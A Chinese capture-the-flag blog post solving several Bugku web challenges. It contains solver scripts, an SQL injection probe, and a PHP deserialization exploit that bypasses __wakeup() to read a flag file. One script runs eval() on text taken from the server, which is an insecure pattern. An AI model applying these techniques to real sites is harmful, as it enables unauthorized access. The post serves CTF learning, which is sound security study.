bugku论剑场web解题记录
前言
国庆这几天感觉没什么好玩的地方,家又离的太远,弱鸡的我便决定刷刷题涨涨知识,于是就有了这篇文章。。
正文
写的不对的地方欢迎指正
web26
打开直接就是代码,这应该就是一道代码审计的题了

这里主要需要绕过第一个正则匹配,同时要令$result为真就能得到flag了
is_numeric() 函数用于检测变量是否为数字或数字字符串。

 
 只需第一个两个if都为true即可得flag



RESTful API简单介绍
- GET(SELECT):从服务器取出资源(一项或多项)。
 - POST(CREATE):在服务器新建一个资源。
 - PUT(UPDATE):在服务器更新资源(客户端提供改变后的完整资源)。
 - PATCH(UPDATE):在服务器更新资源(客户端提供改变的属性)。
 - DELETE(DELETE):从服务器删除资源。
 
3. 对资源的增删改查对应URL的操作(POST,DELETE,PUT,GET)
- URL: http://localhost/student
 - GET /student 获取学生列表
 - POST /student 新学员报到
 - GET /student/110 获取ID为110的学生信息
 - PUT /student/110 修改ID为110的学生信息
 - DELETE /student/110 删除ID为110的学生信息
 - GET /student/110/home 获取ID为110的学生的家庭信息
 
 
import re
import requests
url = 'http://123.206.31.85:10002/'
r = requests.session()
text = r.get(url).text
calc = str(re.findall("(.*?)</p>", text))[2:-2]
ans = eval(calc)
data = {'result':ans}
res = r.post(url, data)
print(res.text)




以为是文件上传之类的



 import hashlib def md5(key):
m = hashlib.md5()
m.update(key.encode('utf-8'))
return m.hexdigest() for i in range(1000000000):#i等于从零开始
if md5(str(i))[0:6] == '66f021':#把i转化为字符串,对字符串里面的内容加密在截取0到6位比较
print(i)
break
?id=1' and 1=1--+ 空白

然后就正常注入找表找列找字段
打开是个商城无论点哪里都没用

所以只需要改变对象属性个数就可以绕过__wakeup()函数,即把对象属性个数”:1:”改成”:2:”
<?php
class Small_white_rabbit{
private $file = 'index.php'; public function __construct($file) {
$this->file = $file;
} function __destruct() {
echo @highlight_file($this->file, true);
} function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the_f1ag.php
$this->file = 'index.php';
}
}
} $a=new Small_white_rabbit('the_f1ag.php');
$b = serialize($a);
$s = preg_replace('/:1:/', ':2:', $b);
echo base64_encode($s);
?>




import requests
import base64
url = 'http://123.206.31.85:10013/index.php'
r = requests.session()#建立会话,r相当于请求包
r1 = r.post(url, data = {'password':'flag'})#rpost发送password,r1相当于它的响应包
Password = r1.headers['Password']#获取r1的Password对应的值
password = str(base64.b64decode(Password), 'utf-8')[5:-1]#对它解码,后面是把Password转化为二进制格式在解码,因为加解密都不能直接对字符串解码
r2 = r.post(url, data = {'password':password})
print(r2.text)

import re
import requests
url = 'http://123.206.31.85:10020/'
r = requests.session()#建立会话
text = r.get(url).text#获取此页面内容
print("~~~~~~~~~~~~~~~~~~")
print(text)
print("~~~~~~~~~~~~~")
calc = str(re.findall(r'^(.*?)<br/>', text))[-35:-2]#正则匹配我们需要的密文
print("~~~~~~~~~~~~~~")#
print(calc)
print("~~~~~~~~~~~~~``")
#ans = eval(calc)#计算
data = {'key':calc}#把值传给key
res = r.get(url, params=data)#在r这个会话中传入get值,把返回的内容传给res
print(res.text)
print("~~~~~~~~~~")
print(res.url)
这需要多运行几次才能看到flag



base32解码得




bugku论剑场web解题记录的更多相关文章
- 实验吧web解题记录
		
自以为sql注入掌握的还是比较系统的,然而,做了这些题之后才发现,大千世界无奇不有,真是各种猥琐的思路...还是要多学习学习姿势跟上节奏 登录一下好吗?? http://ctf5.shiyanbar. ...
 - ssrf解题记录
		
ssrf解题记录 最近工作需要做一些Web的代码审计,而我Web方面还比较薄弱,决定通过一些ctf的题目打打审计基础,练练思维,在博客上准备开几个专题专门记录刷题的过程. pwn题最近做的也很少,也要 ...
 - pwnable.kr input解题记录
		
pwnable input解题记录 给了源码如下: #include "stdio.h" #include "unistd.h" #include " ...
 - ASP.NET Web API 记录请求响应数据到日志的一个方法
		
原文:http://blog.bossma.cn/dotnet/asp-net-web-api-log-request-response/ ASP.NET Web API 记录请求响应数据到日志的一个 ...
 - angr脚本——以angrctf解题记录为参考
		
angr脚本--以angrctf解题记录为参考  angr是用于逆向工程中进行二进制分析的一个python框架  符号执行 (Symbolic Execution)是一种程序分析技术.其可以通过分 ...
 - LeetCode解题记录(贪心算法)(二)
		
1. 前言 由于后面还有很多题型要写,贪心算法目前可能就到此为止了,上一篇博客的地址为 LeetCode解题记录(贪心算法)(一) 下面正式开始我们的刷题之旅 2. 贪心 763. 划分字母区间(中等 ...
 - 攻防世界——web新手练习区解题记录<1>(1-4题)
		
web新手练习区一至四题 第一题view_source: 题目说右键不管用了,我们先获取在线场景来看一看,我们看到这样一个网页,并且右键确实点了没什么反应,而用到右键一般就是查看网页源码 用快捷键(F ...
 - 解决Apache的错误日志巨大的问题以及关闭Apache web日志记录
		
调整错误日志的级别 这几天 apache错误日志巨大 莫名其妙的30G 而且 很多都是那种页面不存在的 网站太多了 死链接相应的也很多于是把错误警告调低了 因为写日志会给系统带来很大的损耗.关闭 ...
 - AC自动机解题记录
		
1.HDU 2222 Keywords Search 模板题 #include <bits/stdc++.h> #define fir first #define sec second # ...
 
随机推荐
- Flash之后是不是该IE浏览器了
			
Flash死亡,Adobe推荐大家拥抱HTML5. 其实Flash本身也是支持手机端的. 一.Flash宣告死亡 Adoebe官方网站发布了公告,2020年12月30日起终止支援Flash.目前Chr ...
 - Class file version does not support constant tag 16 in class file
			
启动服务时提示 Caused by: java.lang.ClassFormatError: Class file version does not support constant tag 16 i ...
 - maven笔记--持续更新
			
笔记: 在创建maven项目的时候,如果用到servlet的时候,需要导入包,这时候,需要导入本地仓库的jar包,即依赖包.语法如下 <dependency> <groupId> ...
 - 自己动手用java写一个hashMap
			
入坑java很多年了,现在总结一下自己学到的东西. 1.首先我们先来聊聊什么是HashMap? 什么是hash?hash用中文的说法就叫做“散列”,通俗的讲就是把任意长度的字符串输入,经过hash计算 ...
 - PHP压缩文件夹 php
			
$path = PUBLIC_DIR.'/images/'; //待压缩文件夹父目录 $zipPath = PUBLIC_DIR.'/images_zip/'; //压缩文件保存目录 !is_dir( ...
 - 7-2 jmu-python-九九乘法表(矩形) (10 分)
			
本题目要求输出如下图所示的九九乘法表 注:乘积要求做格式控制,占4个位置的宽度 输入样例: 无 输出样例: 1*1=1 1*2=2 1*3=3 1*4=4 1*5=5 1*6=6 1*7=7 1*8= ...
 - php+mysql开发一个最简单的在线题库,在线做题系统!
			
题库,对于教育机构,学校,在线教育,是很有必要的,网上也有不少的第三方在线题库系统,但是本次案例,会让有需要的人了解题库的开发思路,其实很简单,无非就是一个表单验证,数据库验证. 1.先构建表单数据2 ...
 - (数据科学学习手札79)基于geopandas的空间数据分析——深入浅出分层设色
			
本文对应代码和数据已上传至我的Github仓库https://github.com/CNFeffery/DataScienceStudyNotes 1 简介 通过前面的文章,我们已经对geopanda ...
 - js中的this和arguments.callee
			
this和 arguments.callee this 全局作用域下,this指向Window 其他情况下,谁调用this就指向谁 console.log(this) //对调用就指向谁系列 func ...
 - python之迭代器  生成器  枚举  常用内置函数  递归
			
迭代器 迭代器对象:有__next__()方法的对象是迭代器对象,迭代器对象依赖__next__()方法进行依次取值 with open('text.txt','rb',) as f: res = f ...
 
			
		


